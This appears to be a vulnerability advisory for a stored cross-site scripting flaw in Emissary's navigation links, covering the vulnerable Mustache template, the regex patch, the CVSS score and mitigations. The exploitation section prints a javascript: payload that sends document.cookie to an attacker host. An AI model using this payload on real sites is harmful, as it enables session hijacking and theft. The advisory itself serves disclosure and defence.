CVE-2026-35571: Stored Cross-Site Scripting via Sink-Context Mismatch in Emissary Navigation Templates

Emissary is a P2P-based data-driven workflow engine heavily utilized for processing and routing information. Prior to version 8.39.0, the platform contained a critical logic flaw in the rendering of web-based navigation elements. The application exposes a configuration surface where administrators define custom navigation links via a navItems mapping.

The vulnerability is classified as CWE-79: Improper Neutralization of Input During Web Page Generation (Stored Cross-Site Scripting). The front-end templating engine interpolates user-controlled configuration data directly into the href attribute of HTML anchor tags. The system relies entirely on standard HTML entity encoding but fails to perform required URI scheme validation.

This structural omission allows a privileged attacker to supply pseudo-protocols such as javascript:. When the web interface renders the navigation menu, these malicious URIs are presented to all authenticated users as valid navigational links. Interaction with the poisoned link triggers the execution of the injected payload within the context of the victim's session.

The root cause is a classic sink-context mismatch within the presentation layer. Emissary utilizes Mustache templates for front-end rendering, which applies HTML entity encoding by default. This encoding converts characters like < and > to < and >, effectively neutralizing standard HTML injection attacks that rely on breaking out of element tags.

HTML entity encoding is insufficient when the interpolation context is a URI attribute such as href. The javascript: pseudo-protocol relies entirely on standard alphanumeric characters and a colon. These characters do not trigger HTML escaping mechanisms, allowing the string to persist unmodified in the rendered document structure.

The navItems configuration map passes data directly to the template via the link variable. The server-side Java controller processing this map performs no structural validation on the values before committing them to the configuration state. The system implicitly trusts the configuration file to contain well-formed, safe URLs.

The vulnerability manifests directly in the source file src/main/resources/templates/nav.mustache. The template iterates over the navItems collection and constructs a list of anchor tags. The interpolation {{link}} populates the href attribute directly from the configuration data structure.

<!-- Vulnerable Template Snippet -->
{{#navItems}}
    <li class="nav-item">
        <a class="nav-link" href="{{link}}">{{display}}</a>
    </li>
{{/navItems}}

The remediation introduces strict server-side validation in NavAction.java via pull request 1293. The developers implemented an allowlist approach using a compiled regular expression pattern. This pattern enforces that all configured links must either begin with a standard HTTP/HTTPS scheme or serve as a relative path indicated by a leading slash.

// Patched File: src/main/java/emissary/server/mvc/NavAction.java
public static class EmissaryNav {
    // Pattern enforces absolute http(s) URLs or relative paths
    private static final Pattern VALID_LINK = Pattern.compile("^(https?:/)?/.*");
 
    protected static List<NavItem> convert(Map<String, String> map) {
        return map.entrySet().stream()
                .filter(e -> isValidLink(e.getValue())) // Validation step added
                .map(e -> new NavItem(e.getKey(), e.getValue()))
                .collect(Collectors.toList());
    }
 
    private static boolean isValidLink(String link) {
        if (!VALID_LINK.matcher(link).matches()) {
            logger.warn("Skipping invalid navigation link '{}'", link);
            return false;
        }
        return true;
    }
}

Exploitation requires administrative privileges or write access to the Emissary configuration file governing navItems. The attacker must insert a malicious navigation entry and wait for another authenticated user to interact with the web interface. No specialized network positioning is required beyond access to the administrative endpoints.

The attacker defines a navigation item with a value structured as a JavaScript URI. A typical payload involves asynchronous data exfiltration mechanisms, such as javascript:fetch('https://attacker.com/steal?c='+document.cookie). The Emissary server parses this configuration and passes it directly to the Mustache engine during the next UI rendering cycle.

The vulnerability execution chain requires explicit user interaction. The victim must click the maliciously configured navigation link within the Emissary interface. Modern web browsers interpret the javascript: scheme and execute the trailing script code within the origin of the Emissary application.

Upon execution, the JavaScript payload accesses the document.cookie object or issues asynchronous API requests using the victim's active authentication tokens. The script exfiltrates these tokens to an external server controlled by the attacker, completing the session hijacking sequence.

The vulnerability carries a CVSS v3.1 base score of 4.8, reflecting a Medium severity classification. The score is mathematically constrained by the requirement for high privileges (PR:H) to inject the payload and user interaction (UI:R) to trigger the payload. The scope metric is marked as changed (S:C) because the exploit primarily impacts the client-side browser environment rather than the server-side component.

Successful exploitation grants the attacker the ability to execute arbitrary JavaScript in the context of the victim's browser session. This execution bypasses Same-Origin Policy (SOP) restrictions for the Emissary domain. The script acts on behalf of the victim, interacting with internal administrative APIs or scraping sensitive workflow data presented in the user interface.

While the requirement for administrative privileges reduces the likelihood of external exploitation, the vulnerability facilitates covert horizontal privilege escalation and long-term persistence. A compromised administrator account can poison the application structure for all other users. This creates a functional backdoor for an attacker to maintain administrative access even if the originally compromised credentials are independently revoked.

There is currently no observed evidence of active exploitation in the wild. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The EPSS score remains low due to the specific conditions and user interaction required for a successful attack sequence.

The National Security Agency released Emissary version 8.39.0 to address this specific vulnerability. The update enforces strict server-side regex validation of all navigation links prior to rendering. Organizations deploying Emissary must upgrade to version 8.39.0 or later to ensure complete remediation of the underlying flaw.

The patch includes an additional defense-in-depth mitigation within the Mustache template by appending the rel="noopener noreferrer" attribute to external links. This attribute neutralizes reverse tab-nabbing attacks when legitimate users configure navigation items pointing to untrusted external domains. The combination of server-side validation and client-side attribute hardening provides a comprehensive and modern defense layer.

Organizations unable to patch immediately should implement strict access controls on the Emissary configuration files and administrative API endpoints. Security teams must proactively audit the current navItems configuration for any strings starting with javascript:, data:, or vbscript:. Removing these anomalous entries halts the immediate execution threat.

> [!NOTE] > The applied regular expression permits protocol-relative URLs starting with //. While this successfully blocks script execution schemes, it allows an administrator to configure open redirects to external domains. Security monitoring tools should track administrative configuration changes to identify suspicious external navigation links.